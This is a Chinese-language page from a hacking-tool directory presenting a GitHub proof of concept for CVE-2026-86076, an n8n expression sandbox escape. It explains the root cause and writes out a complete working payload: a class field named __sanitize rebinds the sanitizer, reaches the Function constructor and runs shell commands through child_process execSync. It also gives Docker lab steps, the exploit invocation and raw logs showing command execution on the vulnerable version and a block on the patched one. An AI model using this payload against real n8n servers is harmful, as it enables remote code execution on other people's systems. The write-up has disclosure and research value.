Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/boreas37/cve-2026-86076-poc
漏洞分析漏洞利用Web应用程序漏洞利用远程访问工具Payload 开发
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — n8n 表达式沙箱逃逸,通过类字段 `__sanitize` 重新绑定实现(后端 RCE)。已在 v2.37.6(uid=node)/ v2.37.7 验证。

查看仓库
111425天前尚未审核
分享

CVE-2026-86076 — n8n 表达式沙箱逃逸,经由类字段污染 sanitizer 重绑定

在 n8n 后端进程中实现已认证(工作流编辑权限)的代码执行。表达式编译器会为每个计算成员访问注入 this.__sanitize(key);一个字面命名为 __sanitize 的类字段会在类体剩余部分重新绑定该 sanitizer,从而放行 constructor,并最终触达真正的 Function 构造函数 → process.mainModule.require('child_process')。

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 受影响版本:< 1.123.76、>= 2.0.0 < 2.37.7、>= 2.38.0 < 2.38.2
  • 修复版本:1.123.76 / 2.37.7 / 2.38.2
  • 修复提交:184584828610("chore: Bundle 2.x (backport to release-candidate/2.37.x)",#37588) → packages/workflow/src/expression-sandboxing.ts(visitClassBody 拒绝保留成员名)以及 packages/@n8n/tournament/src/ExpressionBuilder.ts(___n8n_data 现在是词法绑定,而非 this)。

根本原因

PrototypeSanitizer(一个 AST after 钩子)会重写

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode 是表达式的数据对象。当表达式不包含函数字面量时,dataNode 被输出为 this,而不是词法作用域中的 ___n8n_data:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

在类字段初始化器中,this 是实例,因此名为 __sanitize 的字段会接管 sanitizer 调用。一个透传的替身就足够了——[].concat.bind([]) 返回 ['constructor'],而 obj[['constructor']] 会强制转换为键 constructor:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

生成的代码(已在容器内使用真实编译器验证):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

在补丁之前,没有任何机制会拒绝名为 __sanitize 的类成员 (RESERVED_VARIABLE_NAMES 仅对绑定标识符进行检查)。

引擎说明(重要)

该载荷需要进程内表达式引擎:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

使用默认的 vm 引擎时,同一表达式仍能绕过 AST 净化器([]['constr'+'uctor'] 不再被拦截——已验证),但代码运行在 isolated-vm 隔离环境中,该环境没有 process.mainModule;因此不会执行宿主代码。 2.37.7 在两种引擎下都会拒绝该表达式。

实验环境

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

两个文件都固定设置 N8N_EXPRESSION_ENGINE=legacy、SQLite,并绑定挂载 ./data-*。 PoC 会自行创建所有者账户(POST /rest/owner/setup + /rest/login)。

运行

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

存在漏洞 — n8nio/n8n:2.37.6(run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

从容器中读回的副作用(side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

已修补 — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

证据通道

该命令的 stdout 由 execSync(...).toString() 返回,作为 Set 节点的值,并通过 GET /rest/executions/<id>?includeData=true 读回(n8n 的“flatted”载荷,在脚本中解码)。磁盘上的副作用(/tmp/PWNED_86076)还通过 docker exec 得到了额外确认。

文件

文件内容
n8n_poc.py仅使用标准库的 PoC(--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt、run_patched_2.37.7.txt原始运行记录
evidence_vulnerable_2.37.6.json、evidence_patched_2.37.7.jsonJSON 证据
side_effect_2.37.6.txt、side_effect_2.37.7.txt容器侧检查
docker_logs_2.37.6.txt、docker_logs_2.37.7.txt容器日志
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    385
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    279

探索所有工具

浏览我们的工具集合

查看所有工具 →